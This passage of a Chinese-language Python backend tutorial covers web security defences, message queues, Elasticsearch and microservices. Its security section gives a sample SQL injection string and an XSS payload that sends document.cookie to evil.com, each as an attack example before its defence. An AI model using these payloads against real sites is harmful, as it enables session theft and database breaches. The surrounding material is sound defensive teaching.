# 垂直拆分:大表拆成多张小表
# 水平拆分:按用户 ID 分库分表
优化原则

① 先测量,再优化(不要凭直觉)。② 优化瓶颈(80/20 法则:20% 的代码造成 80% 的延迟)。③ 不要过早优化(先让它工作,再让它快)。④ 缓存是万能药,但也有副作用(数据一致性)。⑤ 每次优化后都要压测验证效果。

性能优化 Checklist

① 数据库索引是否合理?② 是否有 N+1 查询?③ 是否有慢查询?④ 热点数据是否缓存?⑤ 是否有不必要的序列化?⑥ 是否有同步阻塞操作?⑦ 静态资源是否用 CDN?⑧ 是否开启了 Gzip 压缩?⑨ 连接池配置是否合理?⑩ 是否有内存泄漏?

68. 安全防护

Web 安全不是"可选项"——一个 SQL 注入漏洞就能让你的整个数据库泄露。

常见攻击与防御

攻击类型原理防御
SQL 注入在输入框写 SQL 代码ORM 参数化查询、不拼接 SQL
XSS在页面注入脚本模板自动转义、CSP 头
CSRF伪造用户请求CSRF Token、SameSite Cookie
SSRF让服务器请求内网限制请求地址白名单
文件上传上传恶意文件校验类型、UUID 重命名、隔离存储
# 安全 Headers(Nginx 配置)
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

SQL 注入防护

# ❌ 危险:字符串拼接 SQL
query = f"SELECT * FROM users WHERE name = '{user_input}'"
# 用户输入: ' OR '1'='1' --
# 实际执行: SELECT * FROM users WHERE name = '' OR '1'='1' --'

# ✅ 安全:参数化查询
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

# ✅ 安全:ORM 查询(自动参数化)
User.query.filter(User.name == user_input).first()

# ✅ 安全:SQLAlchemy
db.query(User).filter(User.name == user_input).first()

XSS 防护

# XSS:在页面注入恶意脚本
# 用户输入: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

# 1. 模板自动转义(Jinja2 默认开启)
# {{ user_input }}  → 自动转义 <script> → &lt;script&gt;

# 2. CSP 头(Content Security Policy)
# Nginx 配置
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;

# 3. 用户输入清理
import bleach
clean_html = bleach.clean(user_input, tags=['b', 'i', 'em', 'strong'], strip=True)

CSRF 防护

# CSRF:伪造用户请求
# Flask CSRF 防护
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

# 模板中添加 CSRF Token
# <form method="post">
#     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# </form>

# Django 默认开启 CSRF 中间件
# {% csrf_token %}

# API 接口用 JWT Token(天然防 CSRF)
# Cookie 方式设置 SameSite=Strict
response.set_cookie('session', value, samesite='strict')

密码安全

# ❌ 不安全的密码存储
password_md5 = hashlib.md5(password.encode()).hexdigest()  # 可被彩虹表破解

# ✅ 安全的密码存储(bcrypt)
import bcrypt

# 加密
def hash_password(password: str) -> str:
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode(), salt).decode()

# 验证
def verify_password(password: str, hashed: str) -> bool:
    return bcrypt.checkpw(password.encode(), hashed.encode())

# 密码强度校验
import re
def validate_password(password: str) -> bool:
    if len(password) < 8:
        return False
    if not re.search(r'[A-Z]', password):        # 大写字母
        return False
    if not re.search(r'[a-z]', password):        # 小写字母
        return False
    if not re.search(r'\d', password):           # 数字
        return False
    return True

依赖安全扫描

# 检查依赖漏洞
pip install pip-audit
pip-audit                                         # 扫描当前环境
pip-audit -r requirements.txt                     # 扫描 requirements.txt

# 自动修复
pip-audit --fix

# CI/CD 中集成
# .github/workflows/security.yml
- name: Security Audit
  run: |
    pip install pip-audit safety
    pip-audit
    safety check -r requirements.txt

# 定期更新依赖
pip install pip-tools
pip-compile requirements.in                       # 生成锁定版本的 requirements.txt
pip install -r requirements.txt
安全清单

① 所有用户输入必须校验(Pydantic/DRF Serializer)。② 密码用 bcrypt 哈希存储(不要用 MD5/SHA1)。③ 生产环境关闭 debug 模式。④ 敏感操作需要二次验证(短信/邮箱验证码)。⑤ 定期更新依赖(pip-audit 检查漏洞)。⑥ 日志不记录密码和 Token。⑦ API 限流防暴力破解。⑧ HTTPS 强制开启。⑨ 数据库不用 root 连接。⑩ 文件上传严格校验类型和大小。

安全测试工具

① bandit——Python 代码安全扫描。② pip-audit——依赖漏洞扫描。③ safety——依赖安全检查。④ schemathesis——API 安全测试。⑤ OWASP ZAP——Web 应用安全扫描。⑥ sqlmap——SQL 注入检测。

SSRF 防御(服务器端请求伪造)

import ipaddress
from urllib.parse import urlparse
import httpx
import socket

# 内网 IP 段
PRIVATE_NETWORKS = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
]

def is_private_ip(ip_str: str) -> bool:
    """检查是否为内网 IP"""
    try:
        ip = ipaddress.ip_address(ip_str)
        return any(ip in network for network in PRIVATE_NETWORKS)
    except ValueError:
        return False

async def safe_request(url: str, allowed_domains: list[str] = None):
    """安全的 HTTP 请求(防 SSRF)"""
    parsed = urlparse(url)

    # 1. 检查协议
    if parsed.scheme not in ("http", "https"):
        raise ValueError(f"不允许的协议: {parsed.scheme}")

    # 2. 检查域名白名单
    if allowed_domains and parsed.hostname not in allowed_domains:
        raise ValueError(f"域名不在白名单中: {parsed.hostname}")

    # 3. 解析 IP 并检查是否为内网
    ip = socket.gethostbyname(parsed.hostname)
    if is_private_ip(ip):
        raise ValueError(f"禁止访问内网地址: {ip}")

    # 4. 发起请求(禁止自动重定向)
    async with httpx.AsyncClient(follow_redirects=False) as client:
        response = await client.get(url, timeout=10)

        # 检查重定向目标
        if response.is_redirect:
            redirect_url = response.headers.get("location", "")
            redirect_parsed = urlparse(redirect_url)
            redirect_ip = socket.gethostbyname(redirect_parsed.hostname)
            if is_private_ip(redirect_ip):
                raise ValueError("重定向到内网地址被禁止")

        return response

# 使用示例
@app.post("/fetch-url")
async def fetch_url(url: str, user = Depends(get_current_user)):
    allowed = ["api.example.com", "cdn.example.com"]
    response = await safe_request(url, allowed)
    return {"status": response.status_code, "data": response.text}

文件上传安全(Magic Number 校验)

import magic  # pip install python-magic
from PIL import Image
import io
import uuid

# 文件类型 Magic Number
ALLOWED_TYPES = {
    "image/jpeg": [b"\xff\xd8\xff"],
    "image/png": [b"\x89PNG\r\n\x1a\n"],
    "image/gif": [b"GIF87a", b"GIF89a"],
    "application/pdf": [b"%PDF"],
}

def validate_file_type(content: bytes, expected_mime: str) -> bool:
    """通过 Magic Number 校验文件真实类型"""
    detected_mime = magic.from_buffer(content, mime=True)
    if detected_mime != expected_mime:
        return False
    magic_numbers = ALLOWED_TYPES.get(expected_mime, [])
    return any(content.startswith(m) for m in magic_numbers)

def reprocess_image(content: bytes) -> bytes:
    """重新处理图片,去除可能的恶意代码(防图片马)"""
    img = Image.open(io.BytesIO(content))
    if img.mode in ("RGBA", "P"):
        img = img.convert("RGB")
    output = io.BytesIO()
    img.save(output, format="JPEG", quality=85)
    return output.getvalue()

@app.post("/upload")
async def upload_file(file: UploadFile, user = Depends(get_current_user)):
    content = await file.read()

    # 1. 检查文件大小(限制 10MB)
    if len(content) > 10 * 1024 * 1024:
        raise HTTPException(400, "文件大小超过限制")

    # 2. 校验文件类型(Magic Number,不依赖扩展名)
    if not validate_file_type(content, file.content_type):
        raise HTTPException(400, "文件类型不匹配")

    # 3. 图片重处理(防止图片马)
    if file.content_type.startswith("image/"):
        content = reprocess_image(content)

    # 4. 生成安全文件名(UUID)
    ext = file.filename.rsplit(".", 1)[-1] if "." in file.filename else "bin"
    safe_filename = f"{uuid.uuid4()}.{ext}"

    # 5. 存储到独立域名的 OSS
    oss_url = await upload_to_oss(safe_filename, content)
    return {"url": oss_url, "filename": safe_filename}

JWT 安全加固(RS256 非对称签名)

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt

# 生成 RSA 密钥对
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 生成 Token(RS256)
def create_token_rs256(user_id: int) -> str:
    payload = {
        "user_id": user_id,
        "exp": datetime.now(datetime.UTC) + timedelta(minutes=15),
        "iat": datetime.now(datetime.UTC),
    }
    return jwt.encode(payload, private_pem, algorithm="RS256")

# 验证 Token(只需要公钥)
def verify_token_rs256(token: str) -> dict:
    try:
        return jwt.decode(token, public_pem, algorithms=["RS256"])
    except jwt.ExpiredSignatureError:
        raise ValueError("Token 已过期")
    except jwt.InvalidTokenError:
        raise ValueError("Token 无效")

# 优势:私钥只在签发服务,验证服务只需公钥
# 即使验证服务被攻破,攻击者也无法伪造 Token

69. 消息队列 RabbitMQ / Kafka

消息队列是分布式系统的"邮政系统"——生产者发消息到队列,消费者从队列取消息。两者不需要直接通信。

一个类比

没有消息队列时,你打电话给餐厅点餐,必须等厨师做好才能挂电话(同步调用)。有了消息队列,你发一条短信点餐,然后去忙别的,做好了餐厅通知你(异步通信)。

维度RabbitMQKafka
模型消息队列(消费后删除)分布式日志(保留历史)
吞吐量万级/秒百万级/秒
延迟微秒级毫秒级
适用场景任务队列、RPC日志收集、事件流、大数据
# RabbitMQ — pika
import pika

# 生产者
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
channel.queue_declare(queue='tasks')
channel.basic_publish(exchange='', routing_key='tasks', body=b'{"task": "send_email"}')
connection.close()

# 消费者
def callback(ch, method, properties, body):
    print(f"收到任务: {body}")
    ch.basic_ack(delivery_tag=method.delivery_tag)

channel.basic_consume(queue='tasks', on_message_callback=callback)
channel.start_consuming()

RabbitMQ 完整示例

# pip install pika
import pika
import json

# 连接 RabbitMQ
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()

# 声明队列(durable=True 持久化)
channel.queue_declare(queue='tasks', durable=True)

# 生产者——发送消息
def publish_task(task_data: dict):
    channel.basic_publish(
        exchange='',
        routing_key='tasks',
        body=json.dumps(task_data),
        properties=pika.BasicProperties(
            delivery_mode=2,                     # 消息持久化
            content_type='application/json',
        )
    )

# 消费者——处理消息
def callback(ch, method, properties, body):
    task = json.loads(body)
    try:
        process_task(task)
        ch.basic_ack(delivery_tag=method.delivery_tag)  # 确认处理完成
    except Exception as e:
        ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True)  # 重新入队

channel.basic_qos(prefetch_count=1)              # 每次只取 1 条消息
channel.basic_consume(queue='tasks', on_message_callback=callback)
channel.start_consuming()

死信队列(DLQ)

# 死信队列——处理反复失败的消息
# 声明死信交换机
channel.exchange_declare(exchange='dlx', exchange_type='direct')
channel.queue_declare(queue='dead_letter_queue', durable=True)
channel.queue_bind(queue='dead_letter_queue', exchange='dlx', routing_key='tasks')

# 主队列绑定死信交换机
channel.queue_declare(queue='tasks', durable=True, arguments={
    'x-dead-letter-exchange': 'dlx',
    'x-dead-letter-routing-key': 'tasks',
    'x-message-ttl': 60000,                     # 消息 TTL 60 秒
})

# 消费者——处理失败 3 次后进入死信队列
def callback(ch, method, properties, body):
    retry_count = properties.headers.get('x-retry-count', 0) if properties.headers else 0
    try:
        process_task(json.loads(body))
        ch.basic_ack(delivery_tag=method.delivery_tag)
    except Exception:
        if retry_count >= 3:
            ch.basic_reject(delivery_tag=method.delivery_tag, requeue=False)  # 进入死信
        else:
            # 重试(带延迟)
            ch.basic_ack(delivery_tag=method.delivery_tag)
            publish_task(json.loads(body), headers={'x-retry-count': retry_count + 1})

Kafka 示例

# pip install kafka-python
from kafka import KafkaProducer, KafkaConsumer
import json

# 生产者
producer = KafkaProducer(
    bootstrap_servers=['localhost:9092'],
    value_serializer=lambda v: json.dumps(v).encode('utf-8'),
    acks='all',                                  # 等待所有副本确认
    retries=3,
)

# 发送消息
producer.send('order-events', value={'event': 'order_created', 'order_id': 123})
producer.flush()

# 消费者
consumer = KafkaConsumer(
    'order-events',
    bootstrap_servers=['localhost:9092'],
    group_id='order-processor',                  # 消费者组
    auto_offset_reset='earliest',
    value_deserializer=lambda m: json.loads(m.decode('utf-8')),
    enable_auto_commit=False,
)

for message in consumer:
    event = message.value
    process_event(event)
    consumer.commit()                            # 手动提交偏移量

消息队列选型

维度RabbitMQKafkaRedis Stream
模型消息队列分布式日志轻量队列
吞吐量万级/秒百万级/秒十万级/秒
消息保留消费后删除保留历史可配置
适用场景任务队列、RPC事件流、日志简单队列
运维复杂度中等高低
消息队列三大用途

① 解耦——订单服务不需要知道谁在处理订单,只管发消息。② 削峰——秒杀时请求先进队列,消费者按自己的速度处理。③ 异步——注册后发邮件,不用等邮件发完再返回。

消息队列最佳实践

① 消息要持久化(防止重启丢失)。② 消费要确认(ack 机制)。③ 消费者要幂等(重复消费结果一样)。④ 设置死信队列(处理失败消息)。⑤ 监控队列长度(防止积压)。⑥ 设置消息 TTL(防止无限堆积)。

RabbitMQ Exchange 类型

# Exchange 是 RabbitMQ 的核心组件,决定消息如何路由到队列

# 1. Direct Exchange(精确路由)
# 消息的 routing_key 必须完全匹配队列的 binding_key
channel.exchange_declare(exchange='direct_logs', exchange_type='direct')
channel.queue_bind(exchange='direct_logs', queue='error_queue', routing_key='error')
channel.queue_bind(exchange='direct_logs', queue='info_queue', routing_key='info')
# 发送:routing_key='error' → 只到 error_queue

# 2. Fanout Exchange(广播)
# 消息广播到所有绑定的队列,忽略 routing_key
channel.exchange_declare(exchange='broadcast', exchange_type='fanout')
channel.queue_bind(exchange='broadcast', queue='queue1')
channel.queue_bind(exchange='broadcast', queue='queue2')
# 发送:routing_key 无效 → 到 queue1 和 queue2

# 3. Topic Exchange(通配符路由)
# routing_key 支持通配符:* 匹配一个词,# 匹配零或多个词
channel.exchange_declare(exchange='topic_logs', exchange_type='topic')
channel.queue_bind(exchange='topic_logs', queue='db_queue', routing_key='*.db.#')
channel.queue_bind(exchange='topic_logs', queue='web_queue', routing_key='web.*')
# 发送:routing_key='app.db.error' → 到 db_queue
# 发送:routing_key='web.info' → 到 web_queue

# 4. Headers Exchange(头部匹配)
# 根据消息的 headers 属性路由,不依赖 routing_key
channel.exchange_declare(exchange='headers_logs', exchange_type='headers')
channel.queue_bind(exchange='headers_logs', queue='critical_queue',
                   arguments={'x-match': 'all', 'severity': 'critical', 'format': 'json'})
# x-match=all:所有条件都匹配
# x-match=any:任一条件匹配

消费者幂等实现

# 消息重复是常态(网络抖动、消费者重启、ack 丢失)
# 消费者必须保证幂等:重复消费结果和消费一次一样

import redis
import json

r = redis.Redis()

def process_message_idempotent(message_id: str, handler):
    """幂等消费:用 Redis 去重"""
    # 1. 检查是否已处理
    if r.exists(f"processed:{message_id}"):
        print(f"消息 {message_id} 已处理,跳过")
        return

    # 2. 处理消息
    try:
        handler()

        # 3. 标记已处理(设置过期时间 7 天)
        r.setex(f"processed:{message_id}", 7 * 86400, "1")
    except Exception as e:
        print(f"处理失败: {e}")
        raise

# 使用示例
def callback(ch, method, properties, body):
    message_id = properties.message_id  # 生产者设置的唯一 ID
    task = json.loads(body)

    try:
        process_message_idempotent(message_id, lambda: process_task(task))
        ch.basic_ack(delivery_tag=method.delivery_tag)
    except Exception:
        ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True)

# 生产者:设置消息 ID
import uuid

def publish_task(task_data: dict):
    channel.basic_publish(
        exchange='',
        routing_key='tasks',
        body=json.dumps(task_data),
        properties=pika.BasicProperties(
            message_id=str(uuid.uuid4()),  # 唯一消息 ID
            delivery_mode=2,
        )
    )

# 数据库唯一约束(另一种幂等方案)
# 例如:订单号唯一索引,重复插入会失败
# INSERT INTO orders (order_id, ...) VALUES (...) ON CONFLICT DO NOTHING

Celery + RabbitMQ 集成

# Python 生态中最常用的消息队列方案
# pip install celery

# celery_app.py
from celery import Celery

app = Celery('myapp', broker='amqp://guest:guest@localhost:5672//')

# 配置
app.conf.update(
    task_serializer='json',
    accept_content=['json'],
    result_serializer='json',
    timezone='Asia/Shanghai',
    enable_utc=True,
    task_track_started=True,
    task_acks_late=True,           # 任务完成后才确认(防止任务丢失)
    worker_prefetch_multiplier=1,  # 每次只取 1 个任务
)

# 定义任务
@app.task(bind=True, max_retries=3)
def send_email(self, to: str, subject: str, body: str):
    try:
        # 发送邮件
        send_smtp_email(to, subject, body)
    except Exception as exc:
        # 自动重试(指数退避)
        raise self.retry(exc=exc, countdown=60)

# 调用任务(异步)
send_email.delay("user@example.com", "欢迎", "欢迎注册")

# 调用任务(带参数)
send_email.apply_async(
    args=["user@example.com", "欢迎", "欢迎注册"],
    countdown=60,  # 延迟 60 秒执行
    queue='email',  # 指定队列
)

# 启动 Worker
# celery -A celery_app worker --loglevel=info --queues=email

70. 搜索引擎 Elasticsearch

MySQL 的 LIKE '%keyword%' 在百万数据上需要 10 秒。Elasticsearch(ES)做同样的搜索只需 10 毫秒。

倒排索引原理

# 为什么 ES 比 MySQL LIKE 快 1000 倍?因为倒排索引

# 正排索引(MySQL):文档 → 包含的词
# 文档1: "苹果手机" → ["苹果", "手机"]
# 文档2: "苹果电脑" → ["苹果", "电脑"]
# 文档3: "华为手机" → ["华为", "手机"]

# 搜索"苹果":遍历所有文档,检查是否包含 → O(n)

# 倒排索引(ES):词 → 包含该词的文档列表
# "苹果" → [文档1, 文档2]
# "手机" → [文档1, 文档3]
# "电脑" → [文档2]
# "华为" → [文档3]

# 搜索"苹果":直接查倒排表 → O(1)
# 搜索"苹果 AND 手机":取交集 → [文档1]

# 中文分词:
# 原文: "苹果手机" → 分词器 → ["苹果", "手机"]
# ES 使用分词器(如 ik_max_word)将文本拆分成词
# 搜索时也会对搜索词分词,然后查倒排索引

# text vs keyword 类型:
# text: 会被分词,适合全文搜索(标题、内容)
# keyword: 不分词,适合精确匹配(状态、标签、邮箱)

# 例子:
# "苹果手机"
# - text 类型 → 分词为 ["苹果", "手机"],搜索"苹果"能匹配
# - keyword 类型 → 不分词,只有搜索"苹果手机"完全一致才匹配

query vs filter(查询 vs 过滤)

# ES 中 query 和 filter 的区别:

# query(查询上下文):
# - 计算相关性得分(_score)
# - 结果按得分排序
# - 不缓存
# - 适合:全文搜索、需要相关性排序

# filter(过滤上下文):
# - 不计算得分(返回 score=0)
# - 结果可缓存(性能更好)
# - 适合:精确匹配、范围查询、是否存在

# ❌ 错误:用 query 做精确匹配
result = es.search(body={
    "query": {
        "match": {"status": "published"}  # 会计算得分,浪费性能
    }
})

# ✅ 正确:用 filter 做精确匹配
result = es.search(body={
    "query": {
        "bool": {
            "must": [
                {"match": {"title": "Python 教程"}}  # 全文搜索用 must
            ],
            "filter": [
                {"term": {"status": "published"}},    # 精确匹配用 filter
                {"range": {"views": {"gte": 100}}},   # 范围查询用 filter
            ]
        }
    }
})

# 常用 filter:
# term: 精确匹配(keyword 字段)
# terms: 匹配多个值
# range: 范围查询(gt, gte, lt, lte)
# exists: 字段是否存在
# bool: 组合多个条件
# ES 核心概念
# Index(索引)= 数据库的"表"
# Document(文档)= 表中的一条记录(JSON 格式)
# Shard(分片)= 数据分成多份存储在不同节点
# Replica(副本)= 分片的备份,提高可用性

# Python 操作 ES
from elasticsearch import Elasticsearch

es = Elasticsearch('http://localhost:9200')

# 创建索引
es.indices.create(index='articles', body={
    'settings': {'number_of_shards': 1},
    'mappings': {
        'properties': {
            'title': {'type': 'text', 'analyzer': 'ik_max_word'},  # 中文分词
            'content': {'type': 'text', 'analyzer': 'ik_max_word'},
            'created_at': {'type': 'date'},
        }
    }
})

# 索引文档
es.index(index='articles', id=1, body={
    'title': 'Python Web 开发教程',
    'content': '这是一篇关于 Flask 和 Django 的教程...',
    'created_at': '2024-06-26'
})

# 搜索
result = es.search(index='articles', body={
    'query': {
        'bool': {
            'must': [{'match': {'content': 'Flask'}}],
            'filter': [{'range': {'created_at': {'gte': '2024-01-01'}}}]
        }
    },
    'highlight': {'fields': {'content': {}}},  # 高亮匹配的关键词
    'from': 0, 'size': 10
})

聚合查询

# ES 聚合——统计分析
result = es.search(index='articles', body={
    "size": 0,                                   # 不返回文档,只要聚合结果
    "aggs": {
        # 按分类统计文章数
        "by_category": {
            "terms": {"field": "category.keyword", "size": 10}
        },
        # 按日期统计趋势
        "by_date": {
            "date_histogram": {
                "field": "created_at",
                "calendar_interval": "month"
            }
        },
        # 平均阅读量
        "avg_views": {
            "avg": {"field": "views"}
        },
        # 阅读量分布
        "views_ranges": {
            "range": {
                "field": "views",
                "ranges": [
                    {"to": 100},
                    {"from": 100, "to": 1000},
                    {"from": 1000}
                ]
            }
        }
    }
})

# 获取聚合结果
categories = result['aggregations']['by_category']['buckets']
for cat in categories:
    print(f"{cat['key']}: {cat['doc_count']} 篇")

批量操作与性能优化

# 批量索引(比单条快 10-100 倍)
from elasticsearch.helpers import bulk

actions = []
for article in articles:
    actions.append({
        "_index": "articles",
        "_id": article.id,
        "_source": {
            "title": article.title,
            "content": article.content,
            "category": article.category.name,
            "views": article.views,
            "created_at": article.created_at.isoformat(),
        }
    })

# 批量写入(每次 1000 条)
success, failed = bulk(es, actions, chunk_size=1000, raise_on_error=False)
print(f"成功: {success}, 失败: {failed}")

# Mapping 优化
es.indices.create(index='articles', body={
    "settings": {
        "number_of_shards": 3,                   # 分片数
        "number_of_replicas": 1,                 # 副本数
        "refresh_interval": "30s",               # 刷新间隔(默认 1s)
    },
    "mappings": {
        "properties": {
            "title": {"type": "text", "analyzer": "ik_max_word"},
            "content": {"type": "text", "analyzer": "ik_smart"},
            "category": {"type": "keyword"},     # 精确匹配用 keyword
            "views": {"type": "integer"},
            "created_at": {"type": "date"},
            "suggest": {"type": "completion"},   # 搜索建议
        }
    }
})

数据库同步方案

# 方案1:同步双写(简单但可能不一致)
def create_article(data):
    article = Article(**data)
    db.add(article)
    db.commit()
    # 同步写 ES
    es.index(index='articles', id=article.id, body=article.to_dict())
# 问题:DB 写成功但 ES 写失败 → 数据不一致

# 方案2:异步同步(推荐)
def create_article(data):
    article = Article(**data)
    db.add(article)
    db.commit()
    # 发消息到队列
    publish_message('article_created', {'id': article.id})
# 消费者更新 ES

# 方案3:Canal 监听 binlog(最可靠)
# Canal 监听 MySQL binlog → 解析变更 → 同步到 ES
# 对应用完全无侵入,但需要部署 Canal 服务
数据库同步方案

① 同步双写——写数据库时同时写 ES(简单但可能不一致)。② 异步同步——数据库变更后发消息队列,消费者更新 ES(推荐)。③ Canal——监听 MySQL binlog,自动同步到 ES(最可靠)。生产环境推荐方案 ② 或 ③。

ES 性能优化

① 分片数要在创建索引时确定(后期不能改)。② 单个分片建议 10-50GB。③ 批量操作比单条快 10-100 倍。④ 合理设置 refresh_interval(默认 1s 太频繁)。⑤ 用 keyword 代替 text 做精确匹配。⑥ 避免深分页(用 search_after 代替 from/size)。

71. 微服务架构入门

单体应用(所有代码在一个项目)在团队变大、功能变多时会变成"巨石"——改一行代码要重新部署整个系统。微服务把大系统拆成多个小服务,各自独立开发、部署、扩展。

一个类比

单体应用像一家全能餐厅——厨师、服务员、收银、采购全在一个团队里。人少时很好管理,但当员工超过 50 人时,沟通成本暴增。微服务像美食广场——每个档口(服务)独立经营,有自己的厨师和收银,通过统一的前台(API 网关)服务顾客。

单体 vs 微服务

维度单体应用微服务
代码结构一个项目,一个仓库多个项目,多个仓库
部署整体部署独立部署
扩展整体扩展按需扩展单个服务
技术栈统一每个服务可以不同
故障隔离一个 Bug 可能拖垮整个系统一个服务挂了不影响其他
开发速度初期快,后期慢初期慢,后期快
运维复杂度低高(需要容器化、服务发现、监控)

微服务拆分原则

1
按业务领域拆分(DDD 领域驱动设计)——用户服务、订单服务、支付服务、商品服务。每个服务有自己的数据库。
2
单一职责——每个服务只负责一个业务领域。用户服务只管用户,不管订单。
3
服务自治——每个服务可以独立开发、测试、部署,不依赖其他服务的部署。
4
数据自治——每个服务有自己的数据库,不直接访问其他服务的数据库。

服务注册与发现

# Consul 服务注册(Python)
import consul

c = consul.Consul(host='localhost')

# 服务启动时注册
c.agent.service.register(
    name='user-service',
    service_id='user-service-1',
    address='10.0.0.1',
    port=8000,
    check=consul.Check.http('http://10.0.0.1:8000/health', interval='10s')
)

# 服务发现:查找 user-service 的地址
_, services = c.health.service('user-service', passing=True)
for service in services:
    addr = service['Service']['Address']
    port = service['Service']['Port']
    print(f"user-service: {addr}:{port}")

服务间通信方式

方式特点适用场景
同步 HTTP简单、直观、有延迟简单的请求-响应
同步 gRPC高性能、二进制协议内部高频调用
异步消息队列解耦、削峰、可靠不需要立刻得到结果的操作
微服务的代价

微服务不是银弹——它增加了:① 运维复杂度(10 个服务 = 10 套部署、10 个数据库)。② 网络延迟(服务间调用有开销)。③ 分布式事务难题。④ 调试困难(一个请求经过多个服务)。⑤ 需要额外的基础设施(服务发现、配置中心、链路追踪)。团队小于 10 人时,单体应用 + 模块化是更好的选择。

何时拆微服务?

① 团队超过 20 人,代码冲突频繁。② 某个模块需要独立扩展(如搜索服务需要更多资源)。③ 不同模块的技术栈不同(Python + Go + Java)。④ 部署频率差异大(支付模块一个月发一次,首页一天发三次)。⑤ 单体应用的构建时间超过 10 分钟。

渐进式拆分

不要一次性把单体拆成 20 个微服务——风险太大。正确做法:① 先把最痛的模块拆出来(如搜索服务)。② 运行稳定后再拆下一个。③ 用 Strangler Fig 模式:新功能用微服务写,旧功能逐步迁移。④ 保留单体作为"遗留系统",通过 API 网关统一入口。

完整微服务示例:用户服务 + 订单服务

# ===== 用户服务 (user-service/main.py) =====
from fastapi import FastAPI, HTTPException
import httpx
import consul

app = FastAPI()
c = consul.Consul(host='consul')

# 注册到 Consul(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup")  # 注意:FastAPI 已弃用,建议改用 lifespan
async def startup():
    c.agent.service.register(
        name='user-service',
        service_id='user-service-1',
        address='user-service',
        port=8000,
        check=consul.Check.http('http://user-service:8000/health', interval='10s')
    )

@app.get("/health")
async def health():
    return {"status": "ok"}

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    # 模拟数据库查询
    users = {1: {"id": 1, "name": "张三", "email": "zhangsan@example.com"}}
    if user_id not in users:
        raise HTTPException(404, "用户不存在")
    return users[user_id]

# ===== 订单服务 (order-service/main.py) =====
from fastapi import FastAPI
import httpx
import consul
from pybreaker import CircuitBreaker

app = FastAPI()
c = consul.Consul(host='consul')
breaker = CircuitBreaker(fail_max=5, reset_timeout=60)  # 熔断器

# 服务发现:查找 user-service 地址
async def get_service_address(service_name: str):
    _, services = c.health.service(service_name, passing=True)
    if not services:
        raise Exception(f"服务 {service_name} 不可用")
    service = services[0]['Service']
    return f"http://{service['Address']}:{service['Port']}"

# 调用用户服务(带熔断保护)
@breaker
async def get_user_from_service(user_id: int):
    base_url = await get_service_address("user-service")
    async with httpx.AsyncClient() as client:
        response = await client.get(f"{base_url}/users/{user_id}", timeout=5)
        response.raise_for_status()
        return response.json()

@app.get("/orders/{order_id}")
async def get_order(order_id: int):
    order = {"id": order_id, "user_id": 1, "amount": 99.9}

    try:
        user = await get_user_from_service(order["user_id"])
        order["user_name"] = user["name"]
    except Exception as e:
        order["user_name"] = "未知用户"  # 降级处理

    return order

熔断器模式(防止雪崩)

# pip install pybreaker
from pybreaker import CircuitBreaker, CircuitBreakerError

# 熔断器状态:
# CLOSED(正常)→ 失败次数超过阈值 → OPEN(熔断,直接失败)
# OPEN → 超时后 → HALF-OPEN(试探,成功则 CLOSED,失败则 OPEN)

breaker = CircuitBreaker(
    fail_max=5,           # 失败 5 次后熔断
    reset_timeout=60,     # 熔断 60 秒后进入半开状态
    exclude=[HTTPException],  # 4xx 不算失败
)

@breaker
async def call_external_service():
    async with httpx.AsyncClient() as client:
        response = await client.get("http://external-service/api")
        return response.json()

# 使用示例
@app.get("/data")
async def get_data():
    try:
        return await call_external_service()
    except CircuitBreakerError:
        # 熔断状态,返回降级数据
        return {"data": "服务暂时不可用,请稍后重试", "degraded": True}

Docker Compose 编排微服务

# docker-compose.yml
# 注:Docker Compose v2 已不再需要 version 字段,省略即可

services:
  consul:
    image: consul:latest
    ports:
      - "8500:8500"

  user-service:
    build: ./user-service
    environment:
      - CONSUL_HOST=consul
    depends_on:
      - consul
    deploy:
      replicas: 2

  order-service:
    build: ./order-service
    environment:
      - CONSUL_HOST=consul
    depends_on:
      - consul
      - user-service
    deploy:
      replicas: 2

  api-gateway:
    image: nginx:latest
    ports:
      - "80:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - user-service
      - order-service

# 启动所有服务
# docker-compose up -d

# 扩容用户服务到 3 个实例
# docker-compose up -d --scale user-service=3

72. 分布式系统基础

分布式系统的本质难题:网络不可靠。服务器可能宕机、网络可能断开、消息可能丢失。理解这些限制,才能设计出可靠的系统。

一个类比

分布式系统就像一个跨国公司——员工分布在世界各地(多个服务器),通过邮件沟通(网络通信)。邮件可能丢失(网络分区)、员工可能请假(服务器宕机)、时区不同导致信息延迟(一致性问题)。你需要一套规则来保证公司正常运转。

CAP 理论

CAP 理论指出,分布式系统不可能同时满足以下三个保证:

1
一致性(Consistency)——所有节点看到的数据是一样的。写入后立刻能读到最新值。
2
可用性(Availability)——每个请求都能得到响应(不保证是最新数据)。
3
分区容错(Partition Tolerance)——网络分区时系统仍能运行。

三者只能选两个:CP(强一致,可能不可用)或 AP(高可用,可能数据不一致)。网络分区是客观存在的,所以实际选择是 C 和 A 之间取舍。

选择特点代表系统
